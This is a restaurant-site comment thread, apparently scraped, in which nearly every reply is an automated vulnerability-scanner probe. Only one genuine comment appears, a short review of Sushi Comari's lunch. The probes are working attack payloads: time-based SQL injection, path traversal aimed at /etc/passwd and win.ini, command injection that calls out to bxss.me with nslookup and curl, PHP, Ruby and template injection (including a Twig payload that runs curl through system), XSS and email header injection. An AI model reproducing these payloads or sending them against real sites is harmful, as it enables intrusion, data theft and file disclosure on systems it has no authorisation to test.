*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: thetokyogourmet
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: thetokyogourmet
'||(select 1 from (select pg_sleep(15))x)||'
re: thetokyogourmet
''||(select 1 from (select pg_sleep(15))x)||''
re: thetokyogourmet
'"
re: thetokyogourmet
@@UWjeH
re: thetokyogourmet
(select 198766*667891)
re: thetokyogourmet
(select 198766*667891 from DUAL)
re: thetokyogourmet
7mCHVGid
re: thetokyogourmet
1*
re: thetokyogourmet
1*
re: thetokyogourmet
1*
re: thetokyogourmet
1*
re: thetokyogourmet
-1 OR 2+904-904-1=0+0+0+1
re: thetokyogourmet
-1 OR 3+904-904-1=0+0+0+1
re: thetokyogourmet
if(now()=sysdate(),sleep(15),0)
re: thetokyogourmet
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: thetokyogourmet
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: thetokyogourmet
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: thetokyogourmet
-1; waitfor delay '0:0:15' --
re: thetokyogourmet
-1); waitfor delay '0:0:15' --
re: thetokyogourmet
1 waitfor delay '0:0:15' --
re: thetokyogourmet
Y6xJzZjN'; waitfor delay '0:0:15' --
re: thetokyogourmet
-5 OR 243=(SELECT 243 FROM PG_SLEEP(15))--
re: thetokyogourmet
-5) OR 253=(SELECT 253 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1)) OR 980=(SELECT 980 FROM PG_SLEEP(15))--
re: thetokyogourmet
Tss7S63m' OR 441=(SELECT 441 FROM PG_SLEEP(15))--
re: thetokyogourmet
SojmZ9np') OR 779=(SELECT 779 FROM PG_SLEEP(15))--
re: thetokyogourmet
v0SxRx8H')) OR 611=(SELECT 611 FROM PG_SLEEP(15))--
re: thetokyogourmet
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: thetokyogourmet
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: thetokyogourmet
'||(select 1 from (select pg_sleep(15))x)||'
re: thetokyogourmet
''||(select 1 from (select pg_sleep(15))x)||''
re: thetokyogourmet
1'"
re: thetokyogourmet
@@M73JW
Just went to Sushi Comari on this list, while it wasn't really my cup of tea. Superb CP, 8k Lunch for 13 nigiri. A good spot for travellers on a budget, who want a omakase fix.
re: Wanderlusting
1C7TIFqKEgO
re: Wanderlusting
%0abcc:074625.67-22090.67.c4d95.19990.2@bxss.me
re: Wanderlusting
response.write(9132895*9632606)
re: Wanderlusting
to@example.com>%0d%0abcc:074625.67-22091.67.c4d95.19990.2@bxss.me
re: Wanderlusting
'+response.write(9132895*9632606)+'
re: Wanderlusting
<esi:include src="http://bxss.me/rpb.png"/>
re: Wanderlusting
"+response.write(9132895*9632606)+"
re: Wanderlusting
${10000089+9999612}
re: Wanderlusting
../../../../../../../../../../../../../../etc/passwd
re: Wanderlusting
../../../../../../../../../../../../../../windows/win.ini
re: Wanderlusting
file:///etc/passwd
re: Wanderlusting
../../../../../../../../../../../../../../../proc/version
re: Wanderlusting
'.gethostbyname(lc('hitda'.'qicmqcym80ae1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(84).chr(116).chr(87).'
re: Wanderlusting
)
re: Wanderlusting
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: Wanderlusting
".gethostbyname(lc("hitjg"."bcqrpqfi08b0d.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(66).chr(98).chr(65)."
re: Wanderlusting
!(()&&!|*|*|
re: Wanderlusting
../../../../../../../../../../etc/passwd%00.jpg
re: Wanderlusting
^(#$!@#$)(()))******
re: Wanderlusting
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: Wanderlusting
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: Wanderlusting
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: Wanderlusting
echo qivmes$()\ fmnbxo\nz^xyu||a #' &echo qivmes$()\ fmnbxo\nz^xyu||a #|" &echo qivmes$()\ fmnbxo\nz^xyu||a #
re: Wanderlusting
/etc/passwd
re: Wanderlusting
&echo pgiyuj$()\ gracjl\nz^xyu||a #' &echo pgiyuj$()\ gracjl\nz^xyu||a #|" &echo pgiyuj$()\ gracjl\nz^xyu||a #
re: Wanderlusting
%2fetc%2fpasswd
re: Wanderlusting
HttP://bxss.me/t/xss.html?%00
re: Wanderlusting
|echo yjivhn$()\ potpyj\nz^xyu||a #' |echo yjivhn$()\ potpyj\nz^xyu||a #|" |echo yjivhn$()\ potpyj\nz^xyu||a #
re: Wanderlusting
/.././.././.././.././.././.././.././../etc/./passwd%00
re: Wanderlusting
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: Wanderlusting
bxss.me/t/xss.html?%00
re: Wanderlusting
"+"A".concat(70-3).concat(22*4).concat(97).concat(77).concat(107).concat(80)+(require"socket"
Socket.gethostbyname("hityj"+"smwyylcwac5f1.bxss.me.")[3].to_s)+"
re: Wanderlusting
(nslookup hitubvlcojbwiec29f.bxss.me||perl -e "gethostbyname('hitubvlcojbwiec29f.bxss.me')")
re: Wanderlusting
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: Wanderlusting
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: Wanderlusting
'+'A'.concat(70-3).concat(22*4).concat(119).concat(65).concat(118).concat(75)+(require'socket'
Socket.gethostbyname('hitqt'+'vxzaobuc4292a.bxss.me.')[3].to_s)+'
re: Wanderlusting
$(nslookup hitbkmkozwgeqc6c21.bxss.me||perl -e "gethostbyname('hitbkmkozwgeqc6c21.bxss.me')")
re: Wanderlusting
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: Wanderlusting
Http://bxss.me/t/fit.txt
re: Wanderlusting
&nslookup hitnzbkbwhocj90313.bxss.me&'\"`0&nslookup hitnzbkbwhocj90313.bxss.me&`'
re: Wanderlusting
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: Wanderlusting
http://bxss.me/t/fit.txt%3F.jpg
re: Wanderlusting
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: Wanderlusting
&(nslookup hitzadbucukfqe10de.bxss.me||perl -e "gethostbyname('hitzadbucukfqe10de.bxss.me')")&'\"`0&(nslookup hitzadbucukfqe10de.bxss.me||perl -e "gethostbyname('hitzadbucukfqe10de.bxss.me')")&`'
re: Wanderlusting
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: Wanderlusting
/etc/shells
re: Wanderlusting
|(nslookup hitmwkuftkssba4d7b.bxss.me||perl -e "gethostbyname('hitmwkuftkssba4d7b.bxss.me')")
re: Wanderlusting
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: Wanderlusting
c:/windows/win.ini
re: Wanderlusting
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Wanderlusting
'"
re: Wanderlusting
`(nslookup hithywiafcsbf023a0.bxss.me||perl -e "gethostbyname('hithywiafcsbf023a0.bxss.me')")`
re: Wanderlusting
file:///etc/passwd
re: Wanderlusting
bxss.me
re: Wanderlusting
';print(md5(31337));$a='
re: Wanderlusting
<!--
re: Wanderlusting
;(nslookup hitazrmkydaiac4dea.bxss.me||perl -e "gethostbyname('hitazrmkydaiac4dea.bxss.me')")|(nslookup hitazrmkydaiac4dea.bxss.me||perl -e "gethostbyname('hitazrmkydaiac4dea.bxss.me')")&(nslookup hitazrmkydaiac4dea.bxss.me||perl -e "gethostbyname('hitazrmkydaiac4dea.bxss.me')")
re: Wanderlusting
/\../\../\../\../\../\../\../etc/passwd
re: Wanderlusting
";print(md5(31337));$a="
re: Wanderlusting
/WEB-INF/web.xml
re: Wanderlusting
${@print(md5(31337))}
re: Wanderlusting
C:\WINDOWS\system32\drivers\etc\hosts
re: Wanderlusting
${@print(md5(31337))}\
re: Wanderlusting
../../../../../../../../../../windows/win.ini%00.jpg
re: Wanderlusting
'.print(md5(31337)).'
re: Wanderlusting
/../../../../../../../../../../boot.ini
re: Wanderlusting
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: Wanderlusting
..\..\..\..\..\..\..\..\windows\win.ini
re: Wanderlusting
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: Wanderlusting
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: Wanderlusting
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: Wanderlusting
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: Wanderlusting
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: Wanderlusting
WEB-INF/web.xml
re: Wanderlusting
WEB-INF\web.xml
re: Wanderlusting
1
re: Wanderlusting
1
re: Wanderlusting
-1 OR 2+81-81-1=0+0+0+1 --
re: Wanderlusting
-1 OR 3+81-81-1=0+0+0+1 --
re: Wanderlusting
-1 OR 2+46-46-1=0+0+0+1
re: Wanderlusting
-1 OR 3+46-46-1=0+0+0+1
re: Wanderlusting
-1' OR 2+255-255-1=0+0+0+1 --
re: Wanderlusting
-1' OR 3+255-255-1=0+0+0+1 --
re: Wanderlusting
-1' OR 2+639-639-1=0+0+0+1 or 'dHMWl2PI'='
re: Wanderlusting
-1' OR 3+639-639-1=0+0+0+1 or 'dHMWl2PI'='
re: Wanderlusting
-1" OR 2+77-77-1=0+0+0+1 --
re: Wanderlusting
-1" OR 3+77-77-1=0+0+0+1 --
re: Wanderlusting
if(now()=sysdate(),sleep(15),0)
re: Wanderlusting
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Wanderlusting
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Wanderlusting
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Wanderlusting
-1; waitfor delay '0:0:15' --
re: Wanderlusting
-1); waitfor delay '0:0:15' --
re: Wanderlusting
1 waitfor delay '0:0:15' --
re: Wanderlusting
Xsr718Ds'; waitfor delay '0:0:15' --
re: Wanderlusting
-5 OR 614=(SELECT 614 FROM PG_SLEEP(15))--
re: Wanderlusting
-5) OR 355=(SELECT 355 FROM PG_SLEEP(15))--
re: Wanderlusting
-1)) OR 150=(SELECT 150 FROM PG_SLEEP(15))--
re: Wanderlusting
JpSvb0tR' OR 257=(SELECT 257 FROM PG_SLEEP(15))--
re: Wanderlusting
Ue7LeNPn') OR 687=(SELECT 687 FROM PG_SLEEP(15))--
re: Wanderlusting
F6VAJkSh')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
re: Wanderlusting
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Wanderlusting
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Wanderlusting
'||(select 1 from (select pg_sleep(15))x)||'
re: Wanderlusting
''||(select 1 from (select pg_sleep(15))x)||''
re: Wanderlusting
1'"
re: Wanderlusting
@@AuEd7
re: Wanderlusting
192NLTF4Q0
re: Wanderlusting
response.write(9516919*9265817)
re: Wanderlusting
'+response.write(9516919*9265817)+'
re: Wanderlusting
"+response.write(9516919*9265817)+"
re: Wanderlusting
<esi:include src="http://bxss.me/rpb.png"/>
re: Wanderlusting
../../../../../../../../../../../../../../etc/passwd
re: Wanderlusting
../../../../../../../../../../../../../../windows/win.ini
re: Wanderlusting
file:///etc/passwd
re: Wanderlusting
${9999024+10000210}
re: Wanderlusting
../
re: Wanderlusting
)
re: Wanderlusting
!(()&&!|*|*|
re: Wanderlusting
^(#$!@#$)(()))******
re: Wanderlusting
redirtest.acx
re: Wanderlusting
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: Wanderlusting
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: Wanderlusting
echo yqpozi$()\ eyomhw\nz^xyu||a #' &echo yqpozi$()\ eyomhw\nz^xyu||a #|" &echo yqpozi$()\ eyomhw\nz^xyu||a #
re: Wanderlusting
/etc/shells
re: Wanderlusting
&echo pxblit$()\ htsnqh\nz^xyu||a #' &echo pxblit$()\ htsnqh\nz^xyu||a #|" &echo pxblit$()\ htsnqh\nz^xyu||a #
re: Wanderlusting
'.gethostbyname(lc('hitrv'.'voahggjie26e5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(75).chr(99).chr(80).'
re: Wanderlusting
../../../../../../../../../../../../../../etc/shells
re: Wanderlusting
|echo gtejqz$()\ pqhlyi\nz^xyu||a #' |echo gtejqz$()\ pqhlyi\nz^xyu||a #|" |echo gtejqz$()\ pqhlyi\nz^xyu||a #
re: Wanderlusting
".gethostbyname(lc("hitlt"."shkcchdh9f33b.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(78).chr(105).chr(75)."
re: Wanderlusting
c:/windows/win.ini
re: Wanderlusting
expr 9000300014 - 989138
re: Wanderlusting
gethostbyname(lc('hitnm'.'dysxayobb0dbc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(80).chr(121).chr(82)
re: Wanderlusting
bxss.me
re: Wanderlusting
(nslookup -q=cname hitqibslsqrwed34c0.bxss.me||curl hitqibslsqrwed34c0.bxss.me))
re: Wanderlusting
Http://bxss.me/t/fit.txt
re: Wanderlusting
$(nslookup -q=cname hitimzlvvosspe0cae.bxss.me||curl hitimzlvvosspe0cae.bxss.me)
re: Wanderlusting
http://bxss.me/t/fit.txt?.jpg
re: Wanderlusting
&nslookup -q=cname hitmdzgxtzpnz226a0.bxss.me&'\"`0&nslookup -q=cname hitmdzgxtzpnz226a0.bxss.me&`'
re: Wanderlusting
&(nslookup -q=cname hittewlzbgcand33c3.bxss.me||curl hittewlzbgcand33c3.bxss.me)&'\"`0&(nslookup -q=cname hittewlzbgcand33c3.bxss.me||curl hittewlzbgcand33c3.bxss.me)&`'
re: Wanderlusting
ctime
sleep
p0
(I30
tp1
Rp2
.
re: Wanderlusting
|(nslookup -q=cname hitrngmbpgzpj42099.bxss.me||curl hitrngmbpgzpj42099.bxss.me)
re: Wanderlusting
`(nslookup -q=cname hitffrjttqulr2c645.bxss.me||curl hitffrjttqulr2c645.bxss.me)`
re: Wanderlusting
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Wanderlusting
;(nslookup -q=cname hitrsffaluyobf89b4.bxss.me||curl hitrsffaluyobf89b4.bxss.me)|(nslookup -q=cname hitrsffaluyobf89b4.bxss.me||curl hitrsffaluyobf89b4.bxss.me)&(nslookup -q=cname hitrsffaluyobf89b4.bxss.me||curl hitrsffaluyobf89b4.bxss.me)
re: Wanderlusting
';print(md5(31337));$a='
re: Wanderlusting
|(nslookup${IFS}-q${IFS}cname${IFS}hitgpwkpdmgshf960f.bxss.me||curl${IFS}hitgpwkpdmgshf960f.bxss.me)
re: Wanderlusting
";print(md5(31337));$a="
re: Wanderlusting
&(nslookup${IFS}-q${IFS}cname${IFS}hitsvbwkthxalad505.bxss.me||curl${IFS}hitsvbwkthxalad505.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitsvbwkthxalad505.bxss.me||curl${IFS}hitsvbwkthxalad505.bxss.me)&`'
re: Wanderlusting
'"()
re: Wanderlusting
${@print(md5(31337))}
re: Wanderlusting
'&&sleep(27*1000)*ibccez&&'
re: Wanderlusting
${@print(md5(31337))}\
re: Wanderlusting
"&&sleep(27*1000)*hqkpvs&&"
re: Wanderlusting
'.print(md5(31337)).'
re: Wanderlusting
'||sleep(27*1000)*iohnlv||'
re: Wanderlusting
"||sleep(27*1000)*jkptet||"
re: Wanderlusting
HttP://bxss.me/t/xss.html?%00
re: Wanderlusting
bxss.me/t/xss.html?%00
re: Wanderlusting
"+"A".concat(70-3).concat(22*4).concat(98).concat(75).concat(100).concat(81)+(require"socket"
Socket.gethostbyname("hitse"+"avslfpjdc7008.bxss.me.")[3].to_s)+"
re: Wanderlusting
replies
re: Wanderlusting
'+'A'.concat(70-3).concat(22*4).concat(104).concat(76).concat(99).concat(85)+(require'socket'
Socket.gethostbyname('hitic'+'sgnxwaby30b2e.bxss.me.')[3].to_s)+'
re: Wanderlusting
replies
re: Wanderlusting
'A'.concat(70-3).concat(22*4).concat(118).concat(79).concat(97).concat(67)+(require'socket'
Socket.gethostbyname('hitsd'+'hubopahs66a74.bxss.me.')[3].to_s)
re: Wanderlusting
replies/.
re: Wanderlusting
'"
re: Wanderlusting
<!--
re: Wanderlusting
'"()&%<zzz><ScRiPt >8O1c(9900)</ScRiPt>
re: Wanderlusting
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitoormjensgi60e9a.bxss.me")}}
re: Wanderlusting
'"()&%<zzz><ScRiPt >8O1c(9217)</ScRiPt>
re: Wanderlusting
9367289
re: Wanderlusting
gqMbXWL8
re: Wanderlusting
*1
re: Wanderlusting
*1
re: Wanderlusting
*1
re: Wanderlusting
*1
re: Wanderlusting
-1 OR 5*5=25 --
re: Wanderlusting
-1 OR 5*5=26 --
re: Wanderlusting
-1 OR 5*5=25
re: Wanderlusting
-1 OR 5*5=26
re: Wanderlusting
*if(now()=sysdate(),sleep(15),0)
re: Wanderlusting
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Wanderlusting
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Wanderlusting
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Wanderlusting
-1; waitfor delay '0:0:15' --
re: Wanderlusting
-1); waitfor delay '0:0:15' --
re: Wanderlusting
-1 waitfor delay '0:0:15' --
re: Wanderlusting
3wlvMZtB'; waitfor delay '0:0:15' --
re: Wanderlusting
-1 OR 858=(SELECT 858 FROM PG_SLEEP(15))--
re: Wanderlusting
-1) OR 582=(SELECT 582 FROM PG_SLEEP(15))--
re: Wanderlusting
-1)) OR 182=(SELECT 182 FROM PG_SLEEP(15))--
re: Wanderlusting
S3yV4BxT' OR 615=(SELECT 615 FROM PG_SLEEP(15))--
re: Wanderlusting
db0XyZ6v') OR 344=(SELECT 344 FROM PG_SLEEP(15))--
re: Wanderlusting
GbAnvGgo')) OR 107=(SELECT 107 FROM PG_SLEEP(15))--
re: Wanderlusting
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Wanderlusting
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Wanderlusting
'||(select 1 from (select pg_sleep(15))x)||'
re: Wanderlusting
''||(select 1 from (select pg_sleep(15))x)||''
re: Wanderlusting
'"
re: Wanderlusting
@@bvqqB
re: Wanderlusting
(select 198766*667891)
re: Wanderlusting
(select 198766*667891 from DUAL)
re: Wanderlusting
S0rssWzg
re: Wanderlusting
*1
re: Wanderlusting
*1
re: Wanderlusting
*1
re: Wanderlusting
